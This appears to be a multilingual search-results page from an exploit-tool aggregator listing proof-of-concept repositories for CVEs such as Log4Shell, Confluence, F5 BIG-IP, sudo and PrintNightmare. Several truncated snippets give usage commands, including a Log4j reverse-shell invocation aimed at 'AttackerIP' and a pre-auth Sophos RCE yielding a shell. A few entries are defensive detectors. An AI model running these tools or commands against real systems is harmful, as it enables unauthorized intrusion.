1299544 matches found
sophucked
sophucked CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia. Esempio di utilizzo: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + avvio handler sulla porta 80 + Invio...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Utilizzo root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...
CVE-2021-22986
F5 BIG-IP RCE / CVE-2021-22986 Schwachstelle für Remote-Codeausführung Code By:Tas9er Warnung Dieses Tool dient dazu, Unternehmen dabei zu helfen, Schwachstellen schnell zu lokalisieren und zu beheben. Es ist ausschließlich für autorisierte Sicherheitstests bestimmt. Halten Sie sich strikt an das...
next.js-scanner
next.js-scanner Scanner per rilevare CVE-2025-55182 vulnerabilità di esecuzione remota di codice dei componenti server React...
Trend_Micro_POC
TrendMicroPOC CVE-2018-3608...
CVE-2019-8956
CVE-2019-8956 sctp-PoC Die sctp-Bibliothek muss installiert sein root@kitploit: gcc sctp-2019-8956-poc.c -o sctp-2019-8956-poc -pthread -lsctp -static...
CVE-2021-44228-Log4j
Testen Sie diesen Inhalt, bevor Sie ihn in Produktionssystemen einsetzen. Verwendung Laden Sie das neueste Paket von den Releases herunter: https://github.com/VerveIndustrialProtection/CVE-2021-44228-Log4j/releases und importieren Sie dann die Fixlets, Analysen und die Computergruppe in eine Site...
CVE-2018-3252
CVE-2018-3252 Weblogic-CVE-2018-3252...
Joomla-v4.2.8---CVE-2023-23752
Joomla! v4.2.8 – Nicht authentifiziertes Information Disclosure Exploit-Skript Dieses Bash-Skript nutzt eine nicht authentifizierte Schwachstelle zur Offenlegung von Informationen in Joomla! Versionen 4.0.0 bis 4.2.8 aus. root@kitploit: sudo apt-get update sudo apt-get install jq ./exploit.sh...
CVE-2023-23397
Questo repository non contiene un README...
log4j-payload-generator
log4j-payload-generator log4j-paylaod generator: un generatore generico di payload per Apache log4j RCE CVE-2021-44228. Distribuzione Per distribuire questo progetto esegui root@kitploit: sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git Esecuzione dei test Per esegui...
Confluence_CVE-2021-26084
ConfluenceCVE-2021-26084 Esecuzione di codice remoto su server Confluence: CVE-2021-26084 PoC Possibili endpoint di exploit di Confluence root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor...
CVE-2021-3156-Exp
CVE-2021-3156-Exp L'exploit di CVE-2021-3156. Dopo una notte di ricerche, finalmente ce l'ho fatta! Grazie https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt...
GEVAUDAN
GEVAUDAN Accesso ai dati e Nuke dell'autenticazione vulnerabile in ambiente Gluster. Per Iniziare Gevaudan è un exploit per Red Hat GlusterFS relativo alle CVE 2018-1088 e 2018-1112. Disponibile sia in formato standalone sia come modulo Metasploit. Presentazioni | Data| Conferenza| Link al video|...
CVE-2016-9079
CVE-2016-9079 Ein Demo-Exploit für CVE-2016-9079 auf Ubuntu x64...
CVE-2022-0847-eBPF
CVE-2022-0847-eBPF Un programma eBPF per rilevare e difendere da attacchi su CVE-2022-0847. Nello spazio kernel, il programma rileva le chiamate di sistema splice ; se tale chiamata di sistema contiene un pipe come fd di output e i flag del buffer del pipe sono impostati a PIPEBUFFLAGCANMERGE ,...
CVE-2022-21882
CVE-2022-21882 Win32k Elevazione dei privilegi Tecniche ispirate da: https://github.com/L4ys/CVE-2022-21882 https://github.com/exploitblizzard/Windows-Privilege-Escalation-CVE-2021-1732...
cve-2021-1675
〖EXP〗Riproduzione dell'escalation dei privilegi della vulnerabilità della stampante Ladon CVE-2021-1675 http://k8gege.org/p/CVE-2021-1675.html Informazioni di base Il 9 giugno, Microsoft ha rilasciato gli aggiornamenti di sicurezza di giugno, correggendo 50 vulnerabilità di sicurezza, tra cui una...
GenCrushSSTIExploit
EN GenCrushSSTIExploit è uno strumento di exploit PoC che mira alla vulnerabilità SSTI Server-Side Template Injection in CrushFTP CVE-2024-4040. Questo strumento dimostra come sfruttare questa vulnerabilità esclusivamente per scopi educativi e di hacking etico. Caratteristiche Stabilisce una...